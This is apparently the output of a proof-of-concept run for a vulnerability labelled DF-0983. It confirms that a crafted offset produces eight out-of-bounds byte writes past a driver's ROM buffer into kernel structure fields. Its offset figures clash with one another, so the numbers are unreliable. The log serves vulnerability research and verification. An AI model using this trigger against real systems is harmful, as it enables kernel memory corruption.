### DF-0983 VULNERABLE build+run
chip=0x10  rom_size=512
crafted off=127 -> writes rom[1016..1023] (0x3F8..0x3FF)
OOB writes past rom end: 8  (max index 1023)
  softc->rom+504 (rom[1016]) OVERWRITTEN = 0x11
  softc->rom+505 (rom[1017]) OVERWRITTEN = 0x22
  softc->rom+506 (rom[1018]) OVERWRITTEN = 0x33
  softc->rom+507 (rom[1019]) OVERWRITTEN = 0x44
  softc->rom+508 (rom[1020]) OVERWRITTEN = 0x55
  softc->rom+509 (rom[1021]) OVERWRITTEN = 0x66
  softc->rom+510 (rom[1022]) OVERWRITTEN = 0x77
  softc->rom+511 (rom[1023]) OVERWRITTEN = 0x88
RESULT: OVERFLOW CONFIRMED — 8 bytes written 504 past sc->rom into softc tail (kernel: last_rom_addr/callouts/sc_mtx)
rc=1